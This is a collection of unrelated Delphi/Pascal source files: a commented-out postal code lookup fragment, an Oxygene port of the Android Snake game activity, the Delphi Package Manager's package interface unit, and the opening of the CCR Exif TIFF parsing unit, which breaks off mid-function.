Search('00000000'); // Memo1.Clear; // Memo1.Lines.Add('CEP: ' + Cep.Cep); // Memo1.Lines.Add('Logradouro: ' + Cep.Logradouro); // Memo1.Lines.Add('Bairro: ' + Cep.Bairro); // Memo1.Lines.Add('Cidade: ' + Cep.Cidade); // Memo1.Lines.Add('UF: ' + Cep.Uf); // Memo1.Lines.Add('IBGE Município: ' + IntToStr(Cep.IbgeCidade)); // Memo1.Lines.Add('IBGE UF: ' + IntToStr(Cep.IbgeUf)); // finally // Free; // end; //end;
namespace com.example.android.snake; {* * Copyright (C) 2007 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *} interface uses android.app, android.os, android.view, android.widget; type /// <summary> /// Snake: a simple game that everyone can enjoy. /// /// This is an implementation of the classic Game "Snake", in which you control a /// serpent roaming around the garden looking for apples. Be careful, though, /// because when you catch one, not only will you become longer, but you'll move /// faster. Running into yourself or the walls will end the game. /// </summary> Snake = public class(Activity) private var mSnakeView: SnakeView; const ICICLE_KEY = 'snake-view'; public method onCreate(savedInstanceState: Bundle); override; protected method onPause; override; public method onSaveInstanceState(outState: Bundle); override; end; implementation /// <summary> /// Called when Activity is first created. Turns off the title bar, sets up /// the content views, and fires up the SnakeView. /// </summary> /// <param name="savedInstanceState"></param> method Snake.onCreate(savedInstanceState: Bundle); begin inherited onCreate(savedInstanceState); ContentView := R.layout.snake_layout; mSnakeView := SnakeView(findViewById(R.id.snake)); mSnakeView.setTextView(TextView(findViewById(R.id.text))); if (savedInstanceState = nil) then // We were just launched -- set up a new game mSnakeView.setMode(SnakeView.READY) else begin // We are being restored var map: Bundle := savedInstanceState.Bundle[ICICLE_KEY]; if map <> nil then mSnakeView.restoreState(map) else mSnakeView.setMode(SnakeView.PAUSE) end end; method Snake.onPause; begin inherited; // Pause the game along with the activity mSnakeView.setMode(SnakeView.PAUSE) end; method Snake.onSaveInstanceState(outState: Bundle); begin // Store the game state outState.putBundle(ICICLE_KEY, mSnakeView.saveState) end; end.
{***************************************************************************} { } { Delphi Package Manager - DPM } { } { Copyright © 2019 Vincent Parrett and contributors } { } { vincent@finalbuilder.com } { https://www.finalbuilder.com } { } { } {***************************************************************************} { } { Licensed under the Apache License, Version 2.0 (the "License"); } { you may not use this file except in compliance with the License. } { You may obtain a copy of the License at } { } { http://www.apache.org/licenses/LICENSE-2.0 } { } { Unless required by applicable law or agreed to in writing, software } { distributed under the License is distributed on an "AS IS" BASIS, } { WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. } { See the License for the specific language governing permissions and } { limitations under the License. } { } {***************************************************************************} unit DPM.Core.Package.Interfaces; interface uses System.Classes, System.Generics.Defaults, Spring.Collections, VSoft.Awaitable, DPM.Core.Types, DPM.Core.Dependency.Version, DPM.Core.TargetPlatform, DPM.Core.Options.Cache, DPM.Core.Options.Install, DPM.Core.Options.Uninstall, DPM.Core.Options.Restore; type //minimum info needed to identify package //need to make more of the api use this rather than the derived interfaces. //Note this only has info we can get from the package filename! //represents the core package identity - id, version, compiler, platform IPackageId = interface ['{35FABD79-3880-4F46-9D70-AA19AAE44565}'] function GetId : string; function GetVersion : TPackageVersion; function GetCompilerVersion : TCompilerVersion; function GetPlatform : TDPMPlatform; function ToString : string; function ToIdVersionString : string; property Id : string read GetId; property Version : TPackageVersion read GetVersion; property CompilerVersion : TCompilerVersion read GetCompilerVersion; property Platform : TDPMPlatform read GetPlatform; end; //packageid plus sourcename IPackageIdentity = interface(IPackageId) ['{E9E49A25-3ECA-4380-BB75-AC9E29725BEE}'] function GetSourceName : string; property SourceName : string read GetSourceName; end; IPackageDependency = interface ['{E3576B9F-2CD5-415F-81D7-9E01AA74C9DB}'] function GetId : string; function GetVersionRange : TVersionRange; procedure SetVersionRange(const value : TVersionRange); function ToString : string; property Id : string read GetId; property VersionRange : TVersionRange read GetVersionRange write SetVersionRange; end; //identity plus dependencies. used when resolving. IPackageInfo = interface(IPackageIdentity) ['{5672DB4A-40BC-45E0-857C-39117D03C322}'] function GetDependencies : IList<IPackageDependency>; function GetUseSource : boolean; procedure SetUseSource(const value : boolean); property Dependencies : IList<IPackageDependency>read GetDependencies; property UseSource : boolean read GetUseSource write SetUseSource; end; //full package metadata. IPackageMetadata = interface(IPackageInfo) ['{0C39A81D-63FF-4939-A74A-4BFE29724168}'] function GetDescription : string; function GetAuthors : string; function GetLicense : string; function GetIcon : string; function GetCopyright : string; function GetTags : string; function GetIsTrial : boolean; function GetIsCommercial : boolean; function GetProjectUrl : string; function GetSearchPaths : IList<string>; function GetRepositoryUrl : string; function GetRepositoryType : string; function GetRepositoryBranch : string; function GetRepositoryCommit : string; property Description : string read GetDescription; property Authors : string read GetAuthors; property License : string read GetLicense; property Icon : string read GetIcon; property Copyright : string read GetCopyright; property Tags : string read GetTags; property IsTrial : boolean read GetIsTrial; property IsCommercial : boolean read GetIsCommercial; property ProjectUrl : string read GetProjectUrl; property RepositoryUrl : string read GetRepositoryUrl; property RepositoryType : string read GetRepositoryType; property RepositoryBranch : string read GetRepositoryBranch; property RepositoryCommit : string read GetRepositoryCommit; property SearchPaths : IList<string>read GetSearchPaths; end; //this is what is returned from a package repository for the UI. IPackageSearchResultItem = interface(IPackageId) ['{8EB6EA16-3708-41F7-93A2-FE56EB75510B}'] function GetSourceName : string; function GetDependencies : IList<IPackageDependency>; function GetDescription : string; function GetAuthors : string; function GetProjectUrl : string; function GetReportUrl : string; function GetRepositoryUrl : string; function GetRepositoryType : string; function GetRepositoryBranch : string; function GetRepositoryCommit : string; function GetPublishedDate : string; function GetLicense : string; function GetIcon : string; function GetCopyright : string; function GetTags : string; function GetIsTrial : boolean; function GetIsCommercial : boolean; function GetDownloadCount : Int64; function GetInstalled : boolean; function GetLatestVersion : TPackageVersion; function GetLatestStableVersion : TPackageVersion; function GetIsError : boolean; function GetIsReservedPrefix : boolean; function GetIsTransitive : boolean; function GetIsLatestVersion : boolean; function GetIsLatestStableVersion : boolean; function GetVersionRange : TVersionRange; procedure SetVersion(const value : TPackageVersion); procedure SetInstalled(const value : boolean); procedure SetLatestVersion(const value : TPackageVersion); procedure SetLatestStableVersion(const value : TPackageVersion); procedure SetReportUrl(const value : string); procedure SetRepositoryUrl(const value : string); procedure SetRepositoryType(const value : string); procedure SetRepositoryBranch(const value : string); procedure SetRepositoryCommit(const value : string); procedure SetPublishedDate(const value : string); procedure SetIsTransitive(const value : boolean); procedure SetVersionRange(const value : TVersionRange); //reintroducing here to make it settable. property Version : TPackageVersion read GetVersion write SetVersion; property Description : string read GetDescription; property Authors : string read GetAuthors; property ProjectUrl : string read GetProjectUrl; property RepositoryUrl : string read GetRepositoryUrl; property RepositoryType : string read GetRepositoryType write SetRepositoryType; property RepositoryBranch : string read GetRepositoryBranch write SetRepositoryBranch; property RepositoryCommit : string read GetRepositoryCommit write SetRepositoryCommit; property License : string read GetLicense; property Icon : string read GetIcon; property Copyright : string read GetCopyright; property Tags : string read GetTags; property Dependencies : IList<IPackageDependency>read GetDependencies; //only returned from server feeds. property IsReservedPrefix : boolean read GetIsReservedPrefix; property IsTrial : boolean read GetIsTrial; property IsCommercial : boolean read GetIsCommercial; //returns -1 if not set. property Downloads : Int64 read GetDownloadCount; //these are for use by the UI, it's not returned. property Installed : boolean read GetInstalled write SetInstalled; property LatestVersion : TPackageVersion read GetLatestVersion write SetLatestVersion; property LatestStableVersion : TPackageVersion read GetLatestStableVersion write SetLatestStableVersion; property IsLatestVersion : boolean read GetIsLatestVersion; property IsLatestStableVersion : boolean read GetIsLatestStableVersion; property IsTransitive : boolean read GetIsTransitive write SetIsTransitive; property VersionRange : TVersionRange read GetVersionRange write SetVersionRange; property ReportUrl : string read GetProjectUrl write SetReportUrl; property PublishedDate : string read GetPublishedDate write SetPublishedDate; //TODO : what format should this be - see repos property IsError : boolean read GetIsError; property SourceName : string read GetSourceName; end; IPackageSearchResult = interface ['{547DDC6A-4A5F-429C-8A00-1B8FA4BA6D69}'] function GetTotalCount : Int64; function GetSkip : Int64; function GetResults : IList<IPackageSearchResultItem>; procedure SetSkip(const value : Int64); procedure SetTotalCount(const value : Int64); property Skip : Int64 read GetSkip write SetSkip; property TotalCount : Int64 read GetTotalCount write SetTotalCount; property Results : IList<IPackageSearchResultItem> read GetResults; end; TPackageIconKind = (ikSvg, ikPng); IPackageIcon = interface ['{FB87A9AD-B114-4D1D-9AF5-1BD50FE17842}'] function GetKind : TPackageIconKind; function GetStream : TStream; procedure SetStream(const value : TStream); property Kind : TPackageIconKind read GetKind; property Stream : TStream read GetStream write SetStream; end; IPackageListItem = interface ['{649F91AF-95F9-47A2-99A3-30BF68844E6B}'] function GetId : string; function GetVersion : TPackageVersion; function GetPlatforms : string; function GetCompilerVersion : TCompilerVersion; procedure SetPlatforms(const value : string); function IsSamePackageVersion(const item : IPackageListItem) : Boolean; function IsSamePackageId(const item : IPackageListItem) : boolean; function MergeWith(const item : IPackageListItem) : IPackageListItem; property Id : string read GetId; property CompilerVersion : TCompilerVersion read GetCompilerVersion; property Version : TPackageVersion read GetVersion; property Platforms : string read GetPlatforms write SetPlatforms; end; IPackageLatestVersionInfo = interface ['{F157D248-248E-42C2-82E6-931423A5D1B0}'] function GetId : string; function GetLatestStableVersion : TPackageVersion; function GetLatestVersion : TPackageVersion; procedure SetLatestStableVersion(const value : TPackageVersion); procedure SetLatestVersion(const value : TPackageVersion); property Id : string read GetId; property LatestStableVersion : TPackageVersion read GetLatestStableVersion write SetLatestStableVersion; property LatestVersion : TPackageVersion read GetLatestVersion write SetLatestVersion; end; //note : only compares Id TPackageInfoComparer = class(TInterfacedObject, IEqualityComparer<IPackageInfo>) protected function Equals(const Left, Right : IPackageInfo) : Boolean; reintroduce; function GetHashCode(const Value : IPackageInfo) : Integer; reintroduce; end; //note : only compares Id TPackageSearchResultItemComparer = class(TInterfacedObject, IEqualityComparer<IPackageSearchResultItem>) protected function Equals(const Left, Right : IPackageSearchResultItem) : Boolean; reintroduce; function GetHashCode(const Value : IPackageSearchResultItem) : Integer; reintroduce; end; TPackageListItemEqualityComparer = class(TInterfacedObject, IEqualityComparer<IPackageListItem>) protected function Equals(const Left, Right : IPackageListItem) : Boolean; reintroduce; function GetHashCode(const Value : IPackageListItem) : Integer; reintroduce; end; implementation // For Delphi XE3 and up: {$IF CompilerVersion >= 24.0 } {$LEGACYIFEND ON} {$IFEND} uses {$IF CompilerVersion >= 29.0} System.Hash, {$IFEND} System.SysUtils; { TPackageInfoComparer } function TPackageInfoComparer.Equals(const Left, Right : IPackageInfo) : Boolean; begin result := SameText(Left.ToString, right.ToString); end; function TPackageInfoComparer.GetHashCode(const Value : IPackageInfo) : Integer; var s : string; begin s := Value.ToString; {$IF CompilerVersion >= 29.0} Result := System.Hash.THashBobJenkins.GetHashValue(s); {$ELSE} Result := BobJenkinsHash(PChar(s)^, SizeOf(Char) * Length(s), 0); {$IFEND} end; { TPackageSearchResultItemComparer } function TPackageSearchResultItemComparer.Equals(const Left, Right : IPackageSearchResultItem) : Boolean; begin result := SameText(Left.Id, right.Id); end; function TPackageSearchResultItemComparer.GetHashCode(const Value : IPackageSearchResultItem) : Integer; var s : string; begin s := Value.Id; {$IF CompilerVersion >= 29.0} Result := System.Hash.THashBobJenkins.GetHashValue(s); {$ELSE} Result := BobJenkinsHash(PChar(s)^, SizeOf(Char) * Length(s), 0); {$IFEND} end; { TPackageListItemComparer } { TPackageListItemComparer } function TPackageListItemEqualityComparer.Equals(const Left, Right: IPackageListItem): Boolean; begin result := (Left.Id = Right.Id) and (left.CompilerVersion = right.CompilerVersion) and (left.Version = right.Version);// and (left.Platforms = right.Platforms); end; function TPackageListItemEqualityComparer.GetHashCode(const Value: IPackageListItem): Integer; var s : string; begin s := Value.Id + CompilerToString(value.CompilerVersion) + Value.Version.ToStringNoMeta + Value.Platforms; {$IF CompilerVersion >= 29.0} Result := System.Hash.THashBobJenkins.GetHashValue(s); {$ELSE} Result := BobJenkinsHash(PChar(s)^, SizeOf(Char) * Length(s), 0); {$IFEND} end; end.
{**************************************************************************************} { } { CCR Exif - Delphi class library for reading and writing image metadata } { Version 1.5.2 beta } { } { The contents of this file are subject to the Mozilla Public License Version 1.1 } { (the "License"); you may not use this file except in compliance with the License. } { You may obtain a copy of the License at http://www.mozilla.org/MPL/ } { } { Software distributed under the License is distributed on an "AS IS" basis, WITHOUT } { WARRANTY OF ANY KIND, either express or implied. See the License for the specific } { language governing rights and limitations under the License. } { } { The Original Code is CCR.Exif.TiffUtils.pas. } { } { The Initial Developer of the Original Code is Chris Rolliston. Portions created by } { Chris Rolliston are Copyright (C) 2009-2012 Chris Rolliston. All Rights Reserved. } { } {**************************************************************************************} {$I CCR.Exif.inc} unit CCR.Exif.TiffUtils; interface uses Types, SysUtils, Classes, CCR.Exif.BaseUtils, CCR.Exif.StreamHelper; type EInvalidTiffData = class(ECCRExifException); ETagAlreadyExists = class(EInvalidTiffData); TTiffTagID = type Word; {$Z2} TTiffDataType = (tdByte = 1, tdAscii, tdWord, tdLongWord, tdLongWordFraction, tdShortInt, tdUndefined, tdSmallInt, tdLongInt, tdLongIntFraction, tdSingle, tdDouble, tdSubDirectory); {$Z1} TTiffDataTypes = set of TTiffDataType; ITiffTag = interface; TTiffTag = record const HeaderSize = 12; OffsetDataTypes = [tdWord, tdLongWord, {tdLongInt, }tdSubDirectory]; class function IsWellFormed(DataType: TTiffDataType; ElementCount: LongInt): Boolean; overload; static; {$IFDEF CanInline}inline;{$ENDIF} class function IsWellFormed(const Tag: ITiffTag): Boolean; overload; static; {$IFDEF CanInline}inline;{$ENDIF} class function MatchOffsetToByteCountID(OffsetTagID: TTiffTagID; var ByteCountID: TTiffTagID): Boolean; static; end; PTiffTagInfo = ^TTiffTagInfo; TTiffTagInfo = record public HeaderOffset, DataOffset: LongWord; ID: TTiffTagID; DataType: TTiffDataType; ElementCount: LongInt; function DataSize: Integer; function IsWellFormed: Boolean; overload;{$IFDEF CanInline}inline;{$ENDIF} end; TTiffTagInfoDynArray = array of TTiffTagInfo; TiffString = type AnsiString; TTiffLongWordFraction = packed record constructor Create(ANumerator: LongWord; ADenominator: LongWord = 1); overload; constructor Create(const AQuotient: Currency); overload; constructor CreateFromString(const AString: string); function AsString: string; function MissingOrInvalid: Boolean; function Quotient: Extended; case Integer of 0: (Numerator, Denominator: LongWord); 1: (PackedValue: Int64); end; TTiffLongIntFraction = packed record constructor Create(ANumerator: LongInt; ADenominator: LongInt = 1); overload; constructor Create(const AQuotient: Currency); overload; constructor CreateFromString(const AString: string); function AsString: string; function MissingOrInvalid: Boolean; function Quotient: Extended; case Integer of 0: (Numerator, Denominator: LongInt); 1: (PackedValue: Int64); end; ITiffParser = interface; ITiffDirectory = interface; ITiffTag = interface(IMetadataBlock) ['{DC9C12D5-EFEF-4B59-9B02-89A757896CCA}'] function GetDataType: TTiffDataType; function GetParent: ITiffDirectory; function GetElementCount: LongInt; function GetID: TTiffTagID; function GetOriginalDataOffset: LongWord; property DataType: TTiffDataType read GetDataType; property ElementCount: LongInt read GetElementCount; property ID: TTiffTagID read GetID; property OldDataOffset: LongWord read GetOriginalDataOffset; property Parent: ITiffDirectory read GetParent; end; IFoundTiffTag = interface(ITiffTag) ['{8258F43E-38E8-4FD9-A1D7-D3C42B38F043}'] function GetParser: ITiffParser; property Parser: ITiffParser read GetParser; end; ITiffDirectoryEnumerator = interface ['{7E882310-28E7-4AF3-9978-27D1E5F36D09}'] function GetCurrent: ITiffTag; function MoveNext: Boolean; property Current: ITiffTag read GetCurrent; end; ITiffDirectory = interface //implemented by both the internal TFoundTiffDirectory below and TExifSection in CCR.Exif.pas ['{3DA5B982-CB8C-412A-8E5F-AD3A98CF345E}'] function GetEnumerator: ITiffDirectoryEnumerator; function GetIndex: Integer; function GetParent: ITiffDirectory; function GetTagCount: Integer; function FindTag(TagID: TTiffTagID; out ParsedTag: ITiffTag): Boolean; function TagExists(TagID: TTiffTagID; ValidDataTypes: TTiffDataTypes = [Low(TTiffDataType)..High(TTiffDataType)]; MinElementCount: LongInt = 1; MaxElementCount: LongInt = MaxLongInt): Boolean; property Index: Integer read GetIndex; property Parent: ITiffDirectory read GetParent; property TagCount: Integer read GetTagCount; end; IFoundTiffDirectory = interface(ITiffDirectory) ['{A8B5DB5F-2084-437C-872D-0139DE7C3E54}'] function GetIndex: Integer; function GetLoadErrors: TMetadataLoadErrors; function GetParser: ITiffParser; function GetTagInfo: TTiffTagInfoDynArray; function IsLastDirectoryInFile: Boolean; function IsExifThumbailDirectory: Boolean; function TryLoadExifThumbnail(const Dest: IStreamPersist): Boolean; property LoadErrors: TMetadataLoadErrors read GetLoadErrors; property Parser: ITiffParser read GetParser; property TagInfo: TTiffTagInfoDynArray read GetTagInfo; end; TTiffParserEnumerator = {$IFDEF NoRecEnumBug}record{$ELSE}class sealed{$ENDIF} strict private FCurrent: IFoundTiffDirectory; FMaxPossibleOffset: Int64; FNextIndex: Integer; FNextOffset: LongInt; FSource: ITiffParser; public constructor Create(const ASource: ITiffParser; const AMaxPossibleOffset: Int64; const ANextOffset: LongInt); function MoveNext: Boolean; property Current: IFoundTiffDirectory read FCurrent; end; ITiffParser = interface function GetBasePosition: Int64; function GetEndianness: TEndianness; function GetEnumerator: TTiffParserEnumerator; function GetStream: TStream; procedure LoadTagData(const TagInfo: TTiffTagInfo; var Buffer); overload; function ParseSubDirectory(const OffsetTag: ITiffTag; out Directory: IFoundTiffDirectory): Boolean; overload; function ParseSubDirectory(const Parent: ITiffDirectory; const OffsetTag: TTiffTagInfo; out Directory: IFoundTiffDirectory): Boolean; overload; property BasePosition: Int64 read GetBasePosition; property Endianness: TEndianness read GetEndianness; property Stream: TStream read GetStream; end; ITiffRewriteCallback = interface; TTiffDirectoryRewriter = class sealed protected type TTagToWrite = class abstract strict private FNewDataOffset: LongWord; FInfo: TTiffTagInfo; FParent: TTiffDirectoryRewriter; protected property Info: TTiffTagInfo read FInfo; public constructor Create(AParent: TTiffDirectoryRewriter; const AInfo: TTiffTagInfo); overload; constructor Create(AParent: TTiffDirectoryRewriter; AID: TTiffTagID; ADataType: TTiffDataType; AElementCount: LongInt; AOriginalDataOffset: LongWord = 0); overload; function DataSize: Integer; inline; procedure WriteData(Stream: TStream; Endianness: TEndianness); virtual; abstract; property DataType: TTiffDataType read FInfo.DataType; property ElementCount: LongInt read FInfo.ElementCount; property ID: TTiffTagID read FInfo.ID; property NewDataOffset: LongWord read FNewDataOffset write FNewDataOffset; property OldDataOffset: LongWord read FInfo.DataOffset; property Parent: TTiffDirectoryRewriter read FParent; end; TImageItem = record ByteCount: 0..High(LongInt); OldOffset, NewOffset: LongWord; end; TImageInfo = array of TImageItem; strict private FDoneInitialization: Boolean; FImageInfo: TImageInfo; FNewIFDOffset: LongWord; FRewriteSource: Boolean; FSource: ITiffDirectory; FSourceInfo: TTiffTagInfoDynArray; FSourceParser: ITiffParser; FTagsToWrite: TList; procedure AddTag(Tag: TTagToWrite); overload; function FindTagIndex(AID: TTiffTagID; out Index: Integer): Boolean; function GetTag(Index: Integer): TTagToWrite; function GetTagCount: Integer; protected constructor Create(const Source: ITiffDirectory; const Callback: ITiffRewriteCallback); function FindTagToWrite(ID: TTiffTagID; var Tag: TTagToWrite): Boolean; function HasImageData: Boolean; inline; function ProtectMakerNote(var MakerNoteTag: TTagToWrite): Boolean; //looks for the ttExifOffset sub-dir, then ttMakerNote under that, checking the data type and size procedure InitializeImageInfo(const Offsets, ByteCounts: array of LongWord); procedure InitializeNewOffsets(var NextOffset: LongWord; ProtectedTag: TTagToWrite); procedure Write(AStream: TStream; const ABasePosition: Int64; AEndianness: TEndianness; ANextIFDOffset: LongWord); property ImageInfo: TImageInfo read FImageInfo; property NewIFDOffset: LongWord read FNewIFDOffset write FNewIFDOffset; property RewriteSource: Boolean read FRewriteSource; property TagCount: Integer read GetTagCount; property Tags[Index: Integer]: TTagToWrite read GetTag; public destructor Destroy; override; procedure AddTag(ID: TTiffTagID; const DataSource: IStreamPersist; DataType: TTiffDataType = tdUndefined); overload; procedure AddTag(const Source: ITiffTag); overload; procedure AddSubDirectory(OffsetID: TTiffTagID; const SubDirectory: ITiffDirectory; const Callback: ITiffRewriteCallback = nil); procedure IgnoreDirectory; property Source: ITiffDirectory read FSource; end; ITiffRewriteCallback = interface ['{55D2E445-1E18-4887-A004-947F16B696D1}'] procedure AddNewTags(Rewriter: TTiffDirectoryRewriter); procedure RewritingOldTag(const Source: ITiffDirectory; TagID: TTiffTagID; DataType: TTiffDataType; var Rewrite: Boolean); end; TSimpleTiffRewriteCallbackImpl = class(TAggregatedObject, ITiffRewriteCallback) strict private //Internal helper class for TIPTCData and TXMPPacket that FMetadataTagID: TTiffTagID; //standardises the implementation of ITiffRewriteCallback. function GetOwner: IStreamPersistEx; inline; protected { ITiffRewriteCallback } procedure AddNewTags(Rewriter: TTiffDirectoryRewriter); procedure RewritingOldTag(const Source: ITiffDirectory; TagID: TTiffTagID; DataType: TTiffDataType; var Rewrite: Boolean); public constructor Create(const AOwner: IStreamPersistEx; AMetadataTagID: TTiffTagID); property Owner: IStreamPersistEx read GetOwner; end; const TiffElementSizes: array[TTiffDataType] of Integer = ( 1, 1, 2, 4, 8, 1, 1, 2, 4, 8, 4, 8, 4); function HasTiffHeader(Stream: TStream; var Endianness: TEndianness; MoveOnSuccess: Boolean = False): Boolean; overload; function HasTiffHeader(Stream: TStream; MoveOnSuccess: Boolean = False): Boolean; overload; inline; function ParseTiff(Stream: TStream; StreamOwnership: TStreamOwnership = soReference): ITiffParser; overload; function ParseTiff(const FileName: string): ITiffParser; overload; inline; function ParseTiffDirectory(Stream: TStream; Endianness: TEndianness; const BasePosition, Offset, InternalOffset: Int64): IFoundTiffDirectory; procedure RewriteTiff(InStream, OutStream: TStream; const Callback: ITiffRewriteCallback); procedure WriteTiffHeader(Stream: TStream; Endianness: TEndianness; FirstDirectoryOffset: LongWord = 8); implementation uses Contnrs, Math, RTLConsts, CCR.Exif.Consts, CCR.Exif.TagIDs; function TryLoadJpegImageFromStream(const AJpegImage: IStreamPersist; AStream: TStream): Boolean; var JpegSize: Int64; Temp: TMemoryStream; begin try JpegSize := GetJPEGDataSize(AStream); if JpegSize = (AStream.Size - AStream.Position) then AJpegImage.LoadFromStream(AStream) else begin Temp := TMemoryStream.Create; try Temp.Size := JpegSize; AStream.ReadBuffer(Temp.Memory^, JpegSize); AJpegImage.LoadFromStream(Temp); finally Temp.Free; end; end; Result := True; except on Exception do Result := False; end; end; type TFoundTiffDirectory = class; TFoundTiffTag = class(TMetadataBlock, ITiffTag) strict private FParent: TFoundTiffDirectory; FParentIntf: ITiffDirectory; //need a 'hard' intf ref to ensure the parent is kept alive FSourcePtr: ^TTiffTagInfo; protected function GetDataType: TTiffDataType; function GetElementCount: LongInt; function GetOriginalDataOffset: LongWord; function GetID: TTiffTagID; function GetParent: ITiffDirectory; function HasIPTCBlockID: Boolean; override; function HasXMPBlockID: Boolean; override; public constructor Create(AParent: TFoundTiffDirectory; AIndex: Integer); overload; constructor Create(AID: TTiffTagID; ADataType: TTiffDataType; const ADataSource: IStreamPersist); overload; destructor Destroy; override; property DataType: TTiffDataType read GetDataType; property ElementCount: LongInt read GetElementCount; property ID: TTiffTagID read GetID; property Parent: TFoundTiffDirectory read FParent; end; TFoundTiffDirectoryEnumerator = class(TInterfacedObject, ITiffDirectoryEnumerator) strict private FCurrentIndex: Integer; FSource: TFoundTiffDirectory; protected function GetCurrent: ITiffTag; function MoveNext: Boolean; public constructor Create(Source: TFoundTiffDirectory); end; TFoundTiffDirectory = class(TInterfacedObject, ITiffDirectory, IFoundTiffDirectory) strict private FIndex: Integer; FLoadErrors: TMetadataLoadErrors; FParent: ITiffDirectory; FParser: ITiffParser; FTags: TTiffTagInfoDynArray; protected FMoreToFollow: Boolean; constructor Create(const AParser: ITiffParser; const AParent: ITiffDirectory; AIndex: Integer; const Tags: TTiffTagInfoDynArray; const LoadErrors: TMetadataLoadErrors); overload; function GetEnumerator: ITiffDirectoryEnumerator; function GetIndex: Integer; function GetLoadErrors: TMetadataLoadErrors; function GetParent: ITiffDirectory; function GetParser: ITiffParser; function LoadSubDirectory(OffsetTagID: TTiffTagID): ITiffDirectory; function GetTagCount: Integer; function GetTagInfo: TTiffTagInfoDynArray; function FindTag(TagID: TTiffTagID; out Index: Integer): Boolean; overload; inline; function FindTag(TagID: TTiffTagID; out ParsedTag: ITiffTag): Boolean; overload; function IndexOfTag(TagID: TTiffTagID): Integer; function IsExifThumbailDirectory: Boolean; function IsLastDirectoryInFile: Boolean; inline; function TagExists(TagID: TTiffTagID; ValidDataTypes: TTiffDataTypes = [Low(TTiffDataType)..High(TTiffDataType)]; MinElementCount: LongInt = 1; MaxElementCount: LongInt = MaxLongInt): Boolean; function TryLoadExifThumbnail(Dest: TStream): Boolean; overload; function TryLoadExifThumbnail(const Dest: IStreamPersist): Boolean; overload; public constructor Create(const AParser: ITiffParser; const AParent: ITiffDirectory; AIndex: Integer; const AOffset: Int64; const AInternalOffset: Int64 = 0); overload; class function TryCreate(const AParser: ITiffParser; const AParent: ITiffDirectory; AIndex: Integer; const AOffset: Int64; out Instance: IFoundTiffDirectory): Boolean; static; property Parser: ITiffParser read FParser; property TagInfo: TTiffTagInfoDynArray read FTags; end; TTiffParser = class(TInterfacedObject, ITiffParser) strict private FBasePosition, FMaxOffsetValue: Int64; FEndianness: TEndianness; FFirstDirOffset: LongInt; FStream: TStream; FStreamOwnership: TStreamOwnership; protected function GetBasePosition: Int64; function GetEndianness: TEndianness; function GetEnumerator: TTiffParserEnumerator; function GetStream: TStream; procedure LoadTagData(const TagInfo: TTiffTagInfo; var Buffer); overload; function ParseSubDirectory(const OffsetTag: ITiffTag; out Directory: IFoundTiffDirectory): Boolean; overload; function ParseSubDirectory(const Parent: ITiffDirectory; const OffsetTag: TTiffTagInfo; out Directory: IFoundTiffDirectory): Boolean; overload; public constructor Create(AStream: TStream; AStreamOwnership: TStreamOwnership); overload; constructor Create(AStream: TStream; const ABasePosition: Int64; AEndianness: TEndianness); overload; destructor Destroy; override; property BasePosition: Int64 read FBasePosition; property Endianness: TEndianness read FEndianness; property Stream: TStream read FStream; end; TInternaTiffTagToWrite = class(TTiffDirectoryRewriter.TTagToWrite) strict private FParser: ITiffParser; strict protected Kind: (itNormal, itImageOffsets, itImageByteCounts); public constructor Create(AParent: TTiffDirectoryRewriter; const AParser: ITiffParser; const ATagInfo: TTiffTagInfo); procedure WriteData(Stream: TStream; Endianness: TEndianness); override; property Info; property Parser: ITiffParser read FParser; end; TExternalTiffTagToWrite = class(TTiffDirectoryRewriter.TTagToWrite) strict protected FDataSize: Integer; FTag: ITiffTag; public constructor Create(AOwner: TTiffDirectoryRewriter; const ATag: ITiffTag); overload; constructor Create(AOwner: TTiffDirectoryRewriter; AID: TTiffTagID; ADataType: TTiffDataType; const ADataSource: IStreamPersist); overload; procedure WriteData(Stream: TStream; Endianness: TEndianness); override; property Source: ITiffTag read FTag; end; TTiffSubDirToWrite = class(TTiffDirectoryRewriter.TTagToWrite) strict private FDirectory: TTiffDirectoryRewriter; public constructor Create(AOwner: TTiffDirectoryRewriter; AOffsetID: TTiffTagID; ADirectory: TTiffDirectoryRewriter); destructor Destroy; override; procedure WriteData(Stream: TStream; Endianness: TEndianness); override; property Directory: TTiffDirectoryRewriter read FDirectory; end; { TTiffTag } {$Q-} class function TTiffTag.IsWellFormed(DataType: TTiffDataType; ElementCount: LongInt): Boolean; begin case Ord(DataType) of Ord(Low(DataType))..Ord(High(DataType)): Result := (LongInt(ElementCount * TiffElementSizes[DataType]) >= 0); else Result := False; end; end; {$IFDEF OverflowCheckingOn}{$Q+}{$ENDIF} class function TTiffTag.IsWellFormed(const Tag: ITiffTag): Boolean; begin Result := IsWellFormed(Tag.DataType, Tag.ElementCount); end; class function TTiffTag.MatchOffsetToByteCountID(OffsetTagID: TTiffTagID; var ByteCountID: TTiffTagID): Boolean; begin Result := True; case OffsetTagID of ttStripOffsets: ByteCountID := ttStripByteCounts; ttTileOffsets: ByteCountID := ttTileOffsets; ttThumbnailOffset: ByteCountID := ttThumbnailSize; else Result := False; end; end; { TTiffTagInfo } function TTiffTagInfo.DataSize: Integer; begin if IsWellFormed then Result := ElementCount * TiffElementSizes[DataType] else Result := 0; end; function TTiffTagInfo.IsWellFormed: Boolean; begin Result := TTiffTag.IsWellFormed(DataType, ElementCount); end; { TTiffLongXXXFraction } function GCD(A, B: Int64): Int64; var Temp: Int64; begin while B <> 0 do begin Temp := B; B := A mod B; A := Temp; end; Result := A; end; procedure CurrencyToFraction(const Source: Currency; var N, D: Int64); var Factor: Int64; begin N := Trunc(Source * 10000); D := 10000; Factor := GCD(N, D); N := N div Factor; D := D div Factor; end; constructor TTiffLongIntFraction.Create(ANumerator, ADenominator: LongInt); begin Numerator := ANumerator; Denominator := ADenominator; end; constructor TTiffLongIntFraction.Create(const AQuotient: Currency); var N, D: Int64; begin CurrencyToFraction(AQuotient, N, D); {$RANGECHECKS ON} Numerator := N; Denominator := D; {$IFDEF RangeCheckingOff}{$RANGECHECKS OFF}{$ENDIF} end; constructor TTiffLongIntFraction.CreateFromString(const AString: string); var DivSignPos: Integer; Result: Boolean; begin DivSignPos := Pos('/', AString); if DivSignPos <> 0 then Result := TryStrToInt(Copy(AString, 1, DivSignPos - 1), Numerator) and 